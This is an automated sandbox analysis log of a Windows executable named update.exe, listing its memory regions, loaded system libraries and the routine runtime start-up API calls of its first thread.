# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Nov 9 2018 10:32:43 # Log Creation Date: 19.11.2018 13:55:29.589 Process: id = "1" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe" page_root = "0x5110d000" os_pid = "0x8dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 7 start_va = 0x400000 end_va = 0x49afff entry_point = 0x400000 region_type = mapped_file name = "update.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe") Region: id = 8 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 10 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 11 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 12 start_va = 0xfffb0000 end_va = 0xfffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 13 start_va = 0xfffdb000 end_va = 0xfffddfff entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 14 start_va = 0xfffde000 end_va = 0xfffdefff entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 15 start_va = 0xfffdf000 end_va = 0xfffdffff entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 16 start_va = 0xfffe0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 149 start_va = 0x690000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 150 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 151 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 152 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 153 start_va = 0x900000 end_va = 0x9fffff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 154 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 155 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 156 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 157 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 158 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 159 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 160 start_va = 0x75290000 end_va = 0x75294fff entry_point = 0x75290000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 161 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 162 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 163 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 164 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 165 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 166 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 167 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 168 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 169 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 170 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 171 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 172 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 173 start_va = 0x210000 end_va = 0x397fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 174 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 175 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 176 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 177 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 178 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 179 start_va = 0x3a0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 180 start_va = 0x4a0000 end_va = 0x620fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 181 start_va = 0xa00000 end_va = 0x1dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 182 start_va = 0x3a0000 end_va = 0x3a4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 183 start_va = 0x3b0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 184 start_va = 0x630000 end_va = 0x67efff entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 185 start_va = 0x75270000 end_va = 0x75281fff entry_point = 0x75270000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 186 start_va = 0x75be0000 end_va = 0x75cd4fff entry_point = 0x75be0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 187 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 188 start_va = 0x762e0000 end_va = 0x76415fff entry_point = 0x762e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 189 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 190 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 191 start_va = 0x76190000 end_va = 0x762acfff entry_point = 0x76190000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 192 start_va = 0x772c0000 end_va = 0x772cbfff entry_point = 0x772c0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 193 start_va = 0x757f0000 end_va = 0x759eafff entry_point = 0x757f0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 194 start_va = 0x75230000 end_va = 0x75261fff entry_point = 0x75230000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 195 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 196 start_va = 0x75210000 end_va = 0x7522bfff entry_point = 0x75210000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 197 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 198 start_va = 0x75200000 end_va = 0x75206fff entry_point = 0x75200000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 199 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 200 start_va = 0x1e00000 end_va = 0x202ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 201 start_va = 0x751b0000 end_va = 0x751f3fff entry_point = 0x751b0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 202 start_va = 0x710000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 203 start_va = 0x750f0000 end_va = 0x751aefff entry_point = 0x750f0000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 204 start_va = 0x1e00000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 205 start_va = 0x1ff0000 end_va = 0x202ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 206 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 207 start_va = 0x2030000 end_va = 0x22fefff entry_point = 0x2030000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 208 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 209 start_va = 0x710000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 210 start_va = 0x880000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 211 start_va = 0x1e00000 end_va = 0x1edefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 212 start_va = 0x1f70000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 213 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 214 start_va = 0x630000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 215 start_va = 0x2300000 end_va = 0x23fffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 216 start_va = 0xfffd8000 end_va = 0xfffdafff entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 217 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 218 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 219 start_va = 0x75070000 end_va = 0x750ecfff entry_point = 0x75070000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Region: id = 220 start_va = 0x2400000 end_va = 0x24fffff entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 221 start_va = 0x75040000 end_va = 0x7506efff entry_point = 0x75040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Region: id = 264 start_va = 0x76420000 end_va = 0x76424fff entry_point = 0x76420000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 265 start_va = 0x710000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 266 start_va = 0x780000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 267 start_va = 0x2500000 end_va = 0x25fffff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 268 start_va = 0x74f40000 end_va = 0x75034fff entry_point = 0x74f40000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 269 start_va = 0xfffd5000 end_va = 0xfffd7fff entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 270 start_va = 0x3c0000 end_va = 0x3c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 271 start_va = 0x74b40000 end_va = 0x74cddfff entry_point = 0x74b40000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 272 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 273 start_va = 0x670000 end_va = 0x671fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 274 start_va = 0x75090000 end_va = 0x750b0fff entry_point = 0x75090000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 275 start_va = 0x756a0000 end_va = 0x756e4fff entry_point = 0x756a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 276 start_va = 0x680000 end_va = 0x683fff entry_point = 0x680000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 277 start_va = 0x750000 end_va = 0x76efff entry_point = 0x750000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 278 start_va = 0x770000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 279 start_va = 0x7c0000 end_va = 0x7effff entry_point = 0x7c0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 280 start_va = 0x7f0000 end_va = 0x7f3fff entry_point = 0x7f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 281 start_va = 0x800000 end_va = 0x865fff entry_point = 0x800000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 282 start_va = 0x870000 end_va = 0x876fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 283 start_va = 0x8c0000 end_va = 0x8c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 284 start_va = 0x8d0000 end_va = 0x8d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 285 start_va = 0x1ee0000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 286 start_va = 0x2600000 end_va = 0x29f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 287 start_va = 0x2a00000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 288 start_va = 0x75e10000 end_va = 0x75e21fff entry_point = 0x75e10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 289 start_va = 0x75ff0000 end_va = 0x7618cfff entry_point = 0x75ff0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 290 start_va = 0x76640000 end_va = 0x76666fff entry_point = 0x76640000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 291 start_va = 0xfffad000 end_va = 0xfffaffff entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Thread: id = 1 os_tid = 0x8e0 [0033.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x9af0c490, dwHighDateTime=0x1d4800f)) [0033.985] GetCurrentProcessId () returned 0x8dc [0033.985] GetCurrentThreadId () returned 0x8e0 [0033.985] GetTickCount () returned 0x173d7 [0033.985] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=1809818000000) returned 1 [0033.985] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0033.987] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.987] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0033.987] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0033.987] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0033.987] GetProcAddress (hModule=0x75a20000, lpProcName="FlsFree") returned 0x75a3359f [0033.988] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.988] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0033.988] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.989] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0033.989] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.989] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0033.989] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.989] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0033.989] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.989] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0033.989] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.989] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0033.990] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.990] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0033.990] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.990] GetProcAddress (hModule=0x75a20000, lpProcName="DecodePointer") returned 0x77889d35 [0033.991] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.991] GetProcAddress (hModule=0x75a20000, lpProcName="DecodePointer") returned 0x77889d35 [0033.991] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0033.991] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0033.991] GetProcAddress (hModule=0x75a20000, lpProcName="DecodePointer") returned 0x77889d35 [0033.992] GetCurrentThreadId () returned 0x8e0 [0033.992] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0033.992] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0033.992] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0033.992] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0033.992] SetHandleCount (uNumber=0x20) returned 0x20 [0033.992] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" " [0033.992] GetEnvironmentStringsW () returned 0x9122b8* [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0033.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x3b11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0033.992] FreeEnvironmentStringsW (penv=0x9122b8) returned 1 [0033.993] GetLastError () returned 0x0 [0033.993] SetLastError (dwErrCode=0x0) [0033.993] GetLastError () returned 0x0 [0033.993] SetLastError (dwErrCode=0x0) [0033.993] GetLastError () returned 0x0 [0033.993] SetLastError (dwErrCode=0x0) [0033.993] GetACP () returned 0x4e4 [0033.993] GetLastError () returned 0x0 [0033.993] SetLastError (dwErrCode=0x0) 